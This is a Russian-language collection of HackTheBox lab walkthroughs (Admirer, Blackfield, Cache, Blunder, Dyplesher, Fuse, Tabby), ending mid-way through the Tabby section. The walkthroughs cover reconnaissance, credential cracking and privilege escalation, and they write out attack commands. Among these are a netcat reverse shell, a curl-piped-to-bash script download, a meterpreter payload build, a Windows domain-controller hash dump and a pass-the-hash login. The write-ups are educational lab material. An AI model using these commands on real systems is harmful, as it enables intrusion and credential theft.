Русский
Русский
English
Статистика
Реклама

Pentesting

Hack The Box. Прохождение Admirer. Уязвимость в Admirer и RCE через подмену переменной среды

26.09.2020 22:13:23 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной стать мы много-много сканируем, эксплуатируем RCE в Admirer и изменяем переменную среды для выполнения своего кода python.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.189, который я добавляю в /etc/hosts.

10.10.10.187 admirer.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmapом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500



Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A admirer.htb -p80,22,21



Из результата сканирования nmap выбираем свой следующий шаг. Так на сервере присутствую службы FTP и SSH, но для них требуются учетные данные. Так же присутствует веб сервер Apache, на котором присутствует файл robots.txt. В данном файле всего одна запись директория admin-dir. Так как больше никакой информации не представлено, наш следующий шаг сканирование директорий. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt



И мы находим два файла: первый содержит адреса электронных почт, а второй различные учетные данные.





И среди учетных данных находим креды для FTP. И Удачно подключаемся.



Осмотримся на сервере.



Давайте скачаем все файлы.



Есть подозрение, что данный архив является бэкапом сайта, давайте разархивируем и посмотрим, что в нем.
mkdir HTMLmv html.tar.gz HTML/ cd HTMLtar -xf html.tar.gz



Снова присутствует файл robots.txt и какая-то секретная директория, содержащая все те же файлы contacts.txt и credentials.txt.



Первый файл ничем не отличается от уже имеющегося, а вот среди учетных данных есть те, которых у нас нет.



Попытавшись их использовать, ни к чему не приходим. Давайте поищем строки user и pass во всех скачанных файлах.
grep -R -i "user\|pass" ./



И мы находим еще два пароля для одного и того же пользователя. Я собрал все имеющиеся учетные данные.



Но и они никуда не подошли.

Entry Point


При попытке выполнить неразрешенные на сайте задачи, получим отказ.







Так как все исполняемые файлы расположены в директории utility-scripts, давайте просканируем ее на хосте, причем искать будет файлы php.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php



И находим файл admirer.php.



Поискав информацию, из следующих источников стало понятно как получить RCE. Если указать в качестве сервера свой хост, то можно увидеть попытку подключения.

Давайте запустим на локально хосте службу myqsl.
sudo service mysql startsudo mysql -u root

И создадим пользователя для авторизации.
create user ralfadmirer@'%' identified by 'ralfadmirer'create database admirerdb;grant all privileges on admirerdb.* to 'ralfadmirer';



Теперь изменим файл конфигураций /etc/mysql/mariadb.conf.d/50-server.cnf, чтобы кто угодно мог подключаться к нашему хосту. Для этого закомментируем строку bind-address и перезапустим службу.



sudo service mysql restart

Авторизуемся от имени только что созданного пользователя.





USER


Давайте выберем нашу БД.



Далее создадим таблицу.



И выполним SQL запрос, чтобы прочитать файл index.php, в котором мы можем найти учетные данные (как это было в бэкапе).
load data local infile '../../../../etc/passwd'into table admirerdb.admirertablefields terminated by '\n'



Теперь перейдем к нашей созданной таблице.



И найдем учетные данные.



И с данным паролем мы успешно авторизуемся через SSH.









ROOT


Давайте проверим настройки sudo.



Таким образом, мы можем выполнить данный скрипт от имени супер пользователя. При просмотре данного скрипта, находим выполнения скрипта python, который так же выполняется под sudo.



И в самом скрипте указан неявный импорт.



Давайте посмотрим переменные окружения, нас интересуют пути python.



Таким образом, мы можем создать файл с таким же именем, содержащий такую же функцию, но выполняющую другие действия. А потом изменяя данную переменную среды, запустим программу, что приведет к выполнению нашего файла.
def make_archive():        import os        os.system('nc 10.10.15.110 4321 -e "/bin/sh"')make_archive()



Выполним скрипт.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh



И получаем бэкконнект шелл.



У нас полный над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Blackfield. Захват контроллера домена через SMB и RPC, LPE через теневую копию

03.10.2020 18:20:42 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье использую ASRep Roasting для определения пользователей, RPC для смены пароля и захвата учетной записи, а потом повысим свои привилегии благодаря теневой копии NTDS.DIT.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.192, который я добавляю в /etc/hosts.

10.10.10.192 blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Видим много открытых портов, но как обычно начнем с SMB. Давайте посмотрим, можем ли мы что-нибудь сделать не авторизовавшись.

smbmap -u anonymous -H 10.10.10.19



И нам доступна для чтения директория profiles$.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2



Имеем большой список возможных пользователей. Мы можем проверить, какие пользователи реально присутствуют в системе. Дело в том, что при атаке ASRep Roasting, сервер имеет три разных ответа:

  • хеш пароля пользователя;
  • у данного пользователя не выставлено UAF Dont Require PreAuth;
  • такого пользователя нет в базе Kerberos.

Таким образом, мы сможет узнать, кто есть, а кого нет.

Entry Point


Для начала получим список.

smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt

А теперь выполним ASRep-Roasting.

GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt



И я был удивлен, когда нам вернули хеш. Давайте крякнем его.

john support.hash -w=./tools/rockyou.txt



И у нас есть целая подконтрольная учетная запись. Теперь давайте получим как можно больше информации, с помощью enum4linux.

enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null



Получим огроменный список непонятных пользователей, но самое интересное это членство в группах. Так мы узнаем, что svc_backup состоит в группе RMU (RID: 580), что разрешает удаленное подключение с помощью Win-RM.

C SMB больше ничего взять не можем, а в LDAP ничего не находим. А вот в RPC, как оказалось, есть одна фишка. Давайте подключимся:

rpcclient 10.10.10.192 -U support



Дело в том, что есть возможность поменять пароль пользователя с такими же привилегиями, все подробно описано тут. И у меня получилось это сделать для пользователя audit2020.

setuserinfo2 audit2020 18 'ralf'



Теперь начинаем анализ всех ресурсов и служб сначала, так как у нас появилась еще одна подконтрольная учетная запись.

USER


Идем на SMB.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192



Очень много можно читать, лучше вывести все содержимое рекурсивно и просмотреть за один раз.

smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R



И в папке forensic\memory_analysis находим, видимо, дамп процесса lsass. А из него мы можем получить пароли с помощью mimikatz. Скачаем данный файл.

smbclient.py blackfield.local/audit2020:ralf@10.10.10.192



Теперь перейдем в Windows машину и используем mimikatz.



И, зная хеш, с помощью Evil-WinRM подключаемся от имени svc_backup.

evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d



ROOT


Давайте посмотрим группы и привилегии пользователя.



Имеем привилегию SeBackupPrivilege. Это дает нам право создавать теневую копию файла NTDS, который содержит большое количество учетных данных. После того, как создадим копию, мы не можем просто извлечь необходимый файл. Для этого нам понадобится следующие DLL библиотеки.

Давайте сделаем теневую копию. Создадим файл со следующим содержимым.

SET CONTEXT PERSISTENT NOWRITERSadd volume c: alias ralfcopycreateexpose %ralfcopy% z:

И теперь загрузим его и скачанные библиотеки на хост.



Выполним теневое копирование.

diskshadow /s ds.txt





И сдампим файл.

Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit



Но данный файл зашифрован, и чтобы его расшифровать нам нужем файл SYSTEM, достать который проблем не составит.

reg save HKLM\SYSTEM C:\Temp\SYSTEM



Скачиваем оба файла с машины.



И достаем хеши с помощью secretsdump из пакета impacket.

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL



Подключимся от имени администратора.

evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee




У нас полный контроль над данной машиной.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker

10.10.2020 18:11:17 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.

10.10.10.188 blackfield.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



На сервере работают SSH и веб сервер Apache.



И на сайте возможна авторизация.



Entry Point


В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.



И авторизовавшись с этими данными, получим только какую-то картинку.



Просматривая сайт дальше, на About странице находим упоминание о HMS.



Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb


Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).



И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.



В коде видим, что нужно указать учетные данные.



А в описании к эксплоиту есть ссылка на PoC.



Изучая материал по данной ссылке, узнаем о SQL инъекции.



USER


Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.



После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php?eid=1 и получим ошибку.



Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.

sqlmap -r r.req



И есть инъекция! Получим все БД.

sqlmap -r r.req --dbs



Теперь узнаем таблицы из openemr.

sqlmap -r r.req -D openemr --tables



Самую интересную я выделил на изображении, давайте получим данные из нее.

sqlmap -r r.req -D openemr -T users_secure --dump



И есть хеш bcrypt, давайте узнаем его режим в Hashcat.

hashcat --example | grep -A2 -B2 '\$2a\$'



А теперь перебираем и находим пароль.

hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force



И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.





Откроем листенер и выполним эксплоит.



Глянем какие есть пользователи.



Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.

python3 -c 'import pty;pty.spawn("/bin/bash")'



И получаем первый флаг.



USER2


Для разведки на удаленном хосте используем скрипт LinPEAS.

curl 10.10.15.110/linpeas.sh | /bin/bash











И есть много информации: присутствует docker, причем второй пользователь входит в группу docker(999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски slabы. Давайте подключимся к порту 11211 и запросим их.

telnet localhost 11211stats slabs



Slabы делятся на еще более мелкие куски chunkи. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.

stats cachedump 1 0



Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.

get userget passwd



И получаем второго пользователя(можно авторизоваться по SSH).



ROOT


Мы уже упоминали докер, давайте посмотрим образы.

docker images



Есть один образ ubuntu. Давайте примонтируем его.

docker run -v /:/mnt --rm -it  ubuntu chroot /mnt bash

И забираем флаг рута.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Blunder. Ломаем Bludit CMS

17.10.2020 18:18:02 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.191, который я добавляю в /etc/hosts.

10.10.10.191 blunder.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Так как на хосте работает только веб сервер, при этом стартовая страница нам ничего не дает, давайте переберем директории. Для этого используем быстрый gobuster. В параметрах укаываем, что мы хотим сканировать дирректории (dir), указываем сайт (-u), список слов(-w), расширения, которые нас интересуют (-x), количество потоков (-t).
gobuster dir -t 128 -u blunder.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt



Так мы находим несколько интересных файлов. Первый из них todo.txt.



Здесь мы сразу отмечаем имя пользователя. Так же была найдена и панель входа администратора.



Мы видим CMS Bludit, давайте попробуем найти для нее эксплоиты.



И есть всего один эксплоит, включенный даже в metasploit, но для него требуются учетные данные.

Entry Point


Немного почитав про данную CMS, я нашел скрипт для перебора паролей. В качестве логина используем найденное имя из файла todo.txt. Но списки пароли из стандартных списков не подходили. И мне посоветовали использовать косвенную информацию. Для этого собираем словарь с главной страницы сайта.
cewl -d 3 -m 5 -w pass_list.txt http://blunder.htb



Немного изменив скрипт перебора, выполним брут и найдем пароль!





И теперь мы можем использовать эксплоит из metasploit.







USER


Давайте осмотримся в директории сайта, чтобы найти еще учетные данные.



Так есть файл users.php.



И есть хеши, предположительно SHA1.



Но крякнуть их не вышло и в базе мы их не находим. Поэтому продолжим поиск на хосте и видим еще одну версию данной CMS.



А вот хеш из этой версии уже находим в базе.





Посмотрим, какие имеются пользователи.



Давайте запустим нормальный TTY шелл.
python3 -c 'import pty; pty.spawn("/bin/bash")'

И данный пароль подходит к первому же пользователю.



ROOT


Давайте посмотрим настройки sudo.



Видим интересную строку (ALL, !root). И загуглив, находим способ LPE.





Давайте получим root как скано в инструкции.
sudo -u#-1 /bin/bash



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Dyplesher. Memcached, Gogs, RCE через создание плагина и LPE через AMQP

24.10.2020 18:12:42 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим хеши пользователей благодаря memcached, разбираемся с GIT репозиториями, пишем плагин с бэкдором на Java, анализируем трафик и повышаем привилегии благодаря RabbitMQ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.190, который я добавляю в /etc/hosts.

10.10.10.190    dyplesher.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1





Так видим много открытых портов и работающих служб. При этом два порта предназначены для веб-сервера 80 и 3000. Давайте посмотрим их. Так порт 3000 отведен для Gogs и без учетных данных тут нич его не сделать.



А вот порт 80 сразу дает наводку поддомен test.



Добавим его в /etc/hosts.
10.10.10.190    test.dyplesher.htb

Посмотрим, что нам может предложить найденный сайт.



Давайте переберем директории на обоих сайтах. Я делаю это с помощью gobuster. В параметрах указываем количество потоков 128 (-t), URL (-u), словарь (-w), нужные нам коды ответа и расширения, которые нас интересуют (-x).
gobuster dir -t 128 -u http://dyplesher.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401


gobuster dir -t 128 -u http://test.dyplesher.htb/  -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html --timeout 60s -s 200,204,301,302,307,401



Находим страницу авторизации на первом и доступный git репозиторий на втором. Давайте скачаем весь .git с помощью скрипта rip-git.pl.
./rip-git.pl -v -u http://test.dyplesher.htb/.git/



И в рабочей директории обнаружим файл index.php, в котором имеются учетные данные.



Видим использование memcached, который доступный на порте 11211.

Entry Point


Мы можем взаимодействовать с ним благодаря memcached-cli. Установим данное программное обеспечение.
sudo apt install npmsudo npm install -g memcached-cli

И теперь подключимся с найденными учетными данными.
memcached-cli felamos:zxcvbnm@dyplesher.htb:11211



Давайте попробуем получиться логины и пароли.



И у нас есть три логина и три хеша. Давайте глянем, что это за хеши.
hashcat --example | grep -A2 -B2 \$2a



И это bcrypt, что означает слишком долгий перебор.
hashcat -a 0 -m 3200 hashes tools/rockyou.txt



И с полученными учетными данными получается зайти на Gogs.



У пользователя имеется два репозитория, при этом второй мы уже получили. А вот у первого есть релиз.



Скачаем и посмотрим на содержимое.



Таким образом, мы имеем 4 bundle репозитория. Давайте разархивируем их.



И среди новых файлов, внимание привлекает следующий проект.



В нем видим users.db базу данных (на данном этапе благодарен за оказание помощи Sergey Klevogin и ex0dus: оказалось, что на разных серверах разные учетные данные, и подобрать данные на US сервере не вышло, но это успешно получилось выполнить на сервере EU). Откроем данным файл в DB Browser.



Это снова bcrypt, давайте его переберем.
hashcat -a 0 -m 3200 db.hash tools/rockyou.txt



И мы получаем еще один пароль для нашего пользователя.

USER 1


Пробуя полученные учетные данные, получается зайти на самый первый сайт.



Осмотревшись на сайте, ничего особенного не находим, но понимаем, что сайт нужен для загрузки и активации плагинов. Ex0dus поделился статьей, где очень подробно описано как это сделать. Я приведу лишь код основного класса, в котором мы создаем и записываем php бэкдор.



После сборки, загрузим JAR файл на сайт, и активируем, его по имени, указанном в plugin.yml.



И проверяем. Все успешно работает.



Создать бэкконнект шелл не получилось, но можно попробовать записать SSH ключ. Сначала сгенерируем его с помощью ssh-keygen, а потом запишем.



Но подключившись по SSH, не находим файла user.txt, значит нам нужно захватить другого пользователя.

USER 2


Давайте загрузим на хост скрипт базового перечисления системы linPEAS и запустим его.



В информации о пользователе замечаем группу wireshark. Так же отметим информацию о сетевых интерфейсах.





Но tcpdump использовать нельзя, давайте глянем, что нам даст группа wireshark. И находим dumpcap.



Я запустил его на 2 минуты собрать трафик, вдруг попадутся учетные данные других пользователей.



Далее скачем файл на локальную машину. Я попробовал поискать в нем строку pass, и это дало свои плоды.



Более удобно посмотреть логины и пароли можно немного отфильтровав вывод. И в конце списка видим пользователей из системы.
strings out.pcap | grep -oP '{.+}' | jq "{user: .email, pass: .password}"



И авторизуемся под последним пользователем в службе SSH.



ROOT


Так в списке представлена еще строка PASSWORDS, ее тоже нужно проверить. Для этого открываем посмотрим строки рядом и для уверенности найдем тоже самое в wireshark.





Это логин и пароль для подключения к RabbitMQ по протоколу AMQP, работающему на 5672 порте (из скана nmap). Я загрузил на хост pspy64 и определил, что служба запускается от имени рута.



Таким образом, при помощи pika python мы можем выполнить LUA скрипт от имени рута. Давайте в данном скрипте запишем уже сгенерированный публичный ключ SSH руту.



Теперь запустим локальный веб сервер с помощью python. А потом выполним скрипт ниже.

import pikacreds = pika.PlainCredentials('yuntao', 'EashAnicOc3Op')params = pika.ConnectionParameters('dyplesher.htb', 5672, '/', creds)conn = pika.BlockingConnection(params) chan = conn.channel()chan.basic_publish(exchange='', routing_key='plugin_data', body='http://127.0.0.1:5432/ralf.lua')conn.close()




И теперь мы можем подключиться по SSH от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Fuse. RPC, принтеры и опасная привилегия SeLoadDriverPrivilege

31.10.2020 18:19:25 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье создадим словарик паролей из косвенной информации о пользователях, посмотрим на информацию о принтерах с точки зрения RPC и повышаем привилегии благодаря SeLoadDriverPrivilege.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.193, который я добавляю в /etc/hosts.

10.10.10.193 fuse.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Давайте добавим FQDN имя машины в /etc/hosts.
10.10.10.193    fuse.fabricorp.local

И на хосте работает веб-сервер. Давайте посмотрим, что там есть.



Нас встречает сайт с принтерами и мы можем скачать 4 документа, что давайте и сделаем.



Так как больше никаких векторов не находим, давай отметим для себя имена пользователей.
cat *.csv | grep 2020 | cut -d ',' -f 2 | sort | uniq



Также создадим список паролей из информации в документах.
cat *.csv | grep 2020 | cut -d ',' -f2,5-7 | tr -d '"' | tr '.' '\n' | tr ',' '\n' | tr -d ' ' | tr '-' '\n' | sort | uniq | tail -n+4



И теперь попробуем брутить, к примеру SMB.
cme smb 10.10.10.193 -u users.txt -p pass.txt --continue-on-success



И есть сообщение, что пароль для пользователя должен быть изменен.

Entry point


Давайте это и сделаем. Зададим тот же пароль.
smbpasswd -r 10.10.10.193 -U bhult





Но у нас есть несколько секунд, и пароль становится недействительным.



Поэтому выполняем две команды в связке.
smbpasswd -r 10.10.10.193 -U bhult ; rpcclient -U bhult 10.10.10.193



Давайте просмотрим всех пользователей, сделаем этот с помощью RPC.

USER







И находим интересного пользователя. Учитывая все тему с принтерами, которых уже длится все время, давайте посмотрим принтеры.



И находим пароль. Создадим список из уже действительных пользователей.



А вот теперь попробуем данный пароль для всех пользователей.
sudo cme smb 10.10.10.193 -u users.txt -p '$fab@s3Rv1ce$1' --continue-on-success



И находим двух пользователей. И у нас получается подключиться к WinRM и забрать первый флаг.



ROOT


Посмотрим информацию о текущем пользователе.



И наблюдаем привилегию SeLoadDriverPrivilege. И тут есть вектор LPE. Нам понадобятся следующее ПО: Capcom.sys, EoPLoadDriver и шелл meterpreter. Давайте создадим его.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.15.160 LPORT=4321 -f exe -o e.exe



И активируем листенер. Загрузим все на хост и запустим эксплоит meterpreter.
handler -p windows/x64/meterpreter/reverse_tcp -H 10.10.15.160 -P 4321



Теперь нужно загрузить драйвер.
.\eoploaddriver.exe System\CurrentControlSet\custom C:\Users\svc-print\Documents\Capcom.sys



И перед запуском эксплоита нужно немного его поправить. Давайте закомментируем следующие строки в файле /usr/share/metasploit-framework/modules/exploits/windows/local/capcom_sys_exec.rb.



И выполняем.



Как результат, создана новая сессия от имени SYSTEM. Вот к чему может привести привилегия SeLoadDriverPrivilege.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение Tabby. RCE в Tomcat, и повышаем привилегии через LXD

07.11.2020 18:20:02 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получим RCE в Tomcat, ломаем zip архив и повышаем привилегии с помощью LXD.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.194, который я добавляю в /etc/hosts.

10.10.10.194 tabby.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Выбор небольшой, давайте начнем с 80 порта, где нас встречает следующий сайт.



Осматриваясь на сайте, отмечаем для себя интересные способ показа новостей (с намеком на LFI).



А также добавляем еще одну запись в /etc/hosts.
10.10.10.194 megahosting.htb

Давайте проверим наличие LFI, я для этого использую LFISuite.







И мы находим LFI. Так как большего мы не получаем, перейдем на порт 8080. Там нас встречает страница, из которой мы узнаем, что используется Tomcat.



Обращаем внимание на интересный файл. Переходя по другой ссылке, на встречает окошко HTTP аутентификации. Давайте прочитаем данный файл /usr/share/tomcat9/etc/tomcat-users.xml.



И есть учетные данные, с которыми мы можем авторизоваться. Отсюда мы можем получить RCE с помощью модуля tomcat_mgr_deploy.



Зададим необходимые параметры.



И получаем ошибку пути файла.

Entry Point


Немного побродив, натыкаемся на справку, в которой указана директория text.





Давайте укажем данный путь.



И мы получаем сессию meterpreter. Чтобы быстренько провести разведку, закинем на хост скрипт LinPEAS и выполним.



Внимательно анализируя вывод, находим интересный файл.



USER


Скачиваем его и пробуем открыть. Но у нас спрашивают пароль.





Давайте попробуем его перебрать.
fcrackzip -D -p ../tools/rockyou.txt 16162020_backup.zip



И находим вероятный пароль. В самом архиве ничего интересного нет, но зато это пароль от пользователя, созданного в системе.



Для удобного подключения создадим SSH ключ.



ROOT


Подключимся по SSH с помощью приватного ключа и видим, что пользователь состоит в группе lxd.



LXD это системный менеджер контейнеров. Он предлагает пользовательский интерфейс, похожий на виртуальные машины, но использующий вместо этого контейнеры Linux.

Ядро LXD это привилегированный демон, который предоставляет REST API через локальный unix сокет, а также через сеть, если установлена соответствующая конфигурация. Клиенты, такие как инструмент командной строки поставляемый с LXD посылают запросы через этот REST API. Это означает, что независимо от того, обращаетесь ли вы к локальному хосту или к удаленному, все работает одинаково.

